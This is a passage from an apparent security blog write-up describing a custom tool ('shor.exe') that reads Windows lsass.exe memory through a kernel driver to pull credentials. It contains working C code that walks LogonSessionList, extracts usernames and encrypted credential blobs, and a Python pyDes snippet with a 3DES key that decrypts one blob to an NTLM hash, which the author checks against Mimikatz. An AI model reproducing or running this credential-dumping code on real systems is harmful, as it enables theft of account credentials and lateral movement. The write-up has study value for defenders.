	memcpy(needle_buffer, &LogonSessionList_needle, sizeof(LOGONSESSIONLIST_NEEDLE));
	offset_LogonSessionList_needle = memmem((PBYTE)lsasrv, lsasrv_size, needle_buffer, sizeof(LOGONSESSIONLIST_NEEDLE));

	memcpy(&LogonSessionList_offset, lsasrv + offset_LogonSessionList_needle + 0x17, 4);
	printf("[*] LogonSessionList Relative Offset: 0x%08llxn", LogonSessionList_offset);

	LogonSessionList = original + offset_LogonSessionList_needle + 0x17 + 4 + LogonSessionList_offset;
	printf("[*] LogonSessionList: 0x%08llxn", LogonSessionList);

	printf("tt===================[LogonSessionList]===================");
	while (currentElem != LogonSessionList) {
		if (currentElem == 0) {
			currentElem = LogonSessionList;
		}
		memcpy(&currentElem, lsasrv + offset_LogonSessionList_needle + 0x17 + 4 + LogonSessionList_offset, 8);
		printf("Element at: 0x%08llxn", currentElem);
		LPSTR currentElem_tmp = (LPSTR)malloc(sizeof(KIWI_BCRYPT_KEY81));
		currentElem_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem, sizeof(currentElem), EPROCESS_GetProcess);
		memcpy(&currentElem, currentElem_tmp, sizeof(currentElem_tmp));
		free(currentElem_tmp);
		USHORT length = 0;
		LPWSTR username = NULL;
		ULONGLONG username_pointer = 0;

		LPSTR length_tmp = (LPSTR)malloc(sizeof(length));
		length_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem + 0x90, sizeof(length), EPROCESS_GetProcess);
		memcpy(&length, length_tmp, sizeof(length_tmp));
		free(length_tmp);

		username = (LPWSTR)malloc(length + 2);
		memset(username, 0, length + 2);

		LPSTR username_pointer_tmp = (LPSTR)malloc(sizeof(username_pointer));
		username_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem + 0x98, sizeof(username_pointer), EPROCESS_GetProcess);
		memcpy(&username_pointer, username_pointer_tmp, sizeof(username_pointer_tmp));
		free(username_pointer_tmp);

		LPSTR username_tmp = (LPSTR)malloc(sizeof(username));
		username_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)username_pointer, sizeof(username), EPROCESS_GetProcess);
		memcpy(username, username_tmp, sizeof(username_tmp));
		free(username_tmp);
		wprintf(L"n[+] Username: %s n", username);
		free(username);
	
		
		ULONGLONG credentials_pointer = 0;
		LPSTR credentials_pointer_tmp = (LPSTR)malloc(sizeof(credentials_pointer));
		credentials_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem + 0x108, sizeof(credentials_pointer), EPROCESS_GetProcess);
		memcpy(&credentials_pointer, credentials_pointer_tmp, sizeof(credentials_pointer_tmp));
		free(credentials_pointer_tmp);

		if (credentials_pointer == 0) {
			printf("[+] Cryptoblob: (empty)n");
			continue;
		}
		printf("[*] Credentials Pointer: 0x%08llxn", credentials_pointer);		
		
		ULONGLONG primaryCredentials_pointer = 0;
		LPSTR primaryCredentials_pointer_tmp = (LPSTR)malloc(sizeof(primaryCredentials_pointer));
		primaryCredentials_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)credentials_pointer + 0x10, sizeof(primaryCredentials_pointer), EPROCESS_GetProcess);
		memcpy(&primaryCredentials_pointer, primaryCredentials_pointer_tmp, sizeof(primaryCredentials_pointer_tmp));
		free(primaryCredentials_pointer_tmp);
		printf("[*] Primary credentials Pointer: 0x%08llxn", primaryCredentials_pointer);

		USHORT cryptoblob_size = 0;
		LPSTR cryptoblob_size_tmp = (LPSTR)malloc(sizeof(cryptoblob_size));
		cryptoblob_size_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)primaryCredentials_pointer + 0x18, sizeof(cryptoblob_size), EPROCESS_GetProcess);
		memcpy(&cryptoblob_size, cryptoblob_size_tmp, sizeof(cryptoblob_size_tmp));
		free(cryptoblob_size_tmp);
		if (cryptoblob_size % 8 != 0) {
			printf("[*] Cryptoblob size: (not compatible with 3DEs, skipping...)n");
			continue;
		}
		printf("[*] Cryptoblob size: 0x%xn", cryptoblob_size);

		ULONGLONG cryptoblob_pointer = 0;
		LPSTR cryptoblob_pointer_tmp = (LPSTR)malloc(sizeof(cryptoblob_pointer));
		cryptoblob_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)primaryCredentials_pointer + 0x20, sizeof(cryptoblob_pointer), EPROCESS_GetProcess);
		memcpy(&cryptoblob_pointer, cryptoblob_pointer_tmp, sizeof(cryptoblob_pointer_tmp));
		free(cryptoblob_pointer_tmp);
		printf("Cryptoblob pointer: 0x%08llxn", cryptoblob_pointer);

		unsigned char* cryptoblob = (unsigned char*)malloc(cryptoblob_size);
		LPSTR cryptoblob_tmp = (LPSTR)malloc(cryptoblob_size);
		cryptoblob_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)cryptoblob_pointer, cryptoblob_size, EPROCESS_GetProcess);
		memcpy(cryptoblob, cryptoblob_tmp, cryptoblob_size);
		
		printf("[+] Cryptoblob:n");
		for (int i = 0; i < cryptoblob_size; i++) {
			printf("%02x", cryptoblob[i]);
		}
		printf("n");
		free(cryptoblob_tmp);
		break;
	}
	
	printf("tt================================================n");
	free(needle_buffer);
	free(lsasrv);
}

Result:

And I will decode the result using python:

from pyDes import *
k = triple_des("221f62e7c7d8e10d612095a6ab610bc2436644180f7274b2".decode("hex"), CBC, "x00x00x00x00x00x00x00x00")
print k.decrypt("946854293e1be6cd0502e252a2c427e6065d458c4b2bfe3b5c4b79d700308ab52a5fe373e00d60dfc3627d776f0ebc31f82a5f02b276551eee697ee485626c8858bfdefd67854ff63029ae418855502be06c4c70072772e26b89d7d971ca17b2a5c360130e954f1606b5088297e7dd7b570988b2fb1cf79ce7fd7cd3647392bb165858c81f44f1099664436aa19ed429657fb57f5da7b169d3df91b85ccf8b32e600e0f80debcbc4fc9f355e8f60881f419895bf1589cdb7e9ed44ddc27fcd8e03c815974b405d13f4de760c00d7f159503c75de9ba39d34752bcdc30d72413e9b6e944201c1b84d7b43a1f09821924aab0114a33ca7b0aa59692f67acfe2d1ea7489bda821c921465b5969220e027d51a726486be01d76220f7b870fb3f7c6dd004dc573b2b3f40c80ae7c59461e50f1b08fe42cead0ca77dae19099c9cfa933bff932a3767098084476e4340cd1e99cd65d593c6c1653458b3d3c99078c543a30749d4cffec77c9c350c10be7963112708112b1a9adc729bf92ab8068d740796393d562595a00a9e31975952139df37c9dce429f3eeeeb29d8533bad0eb17832e42407f5b59c65".decode("hex"))[74:90].encode("hex")

NTLM hash: c377ba8a4dd52401bc404dbe49771bbc

The last step is to get the NTLM hash using Mimikatz and check it against the NTLM hash I found to make sure that the developed application (shor.exe) works correctly.

The NTLM hash I found matches the NTLM hash of the Mimikatz program.

Conclusion

Summing up, I want to say that it was a very interesting experience, thanks to which I got acquainted with the KDU project, which allows loading unsigned drivers. I learned how NTLM hash is stored in lsass.exe memory and how virtual memory is stored in user-mode.

The source code of the developed application can be found at github.

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *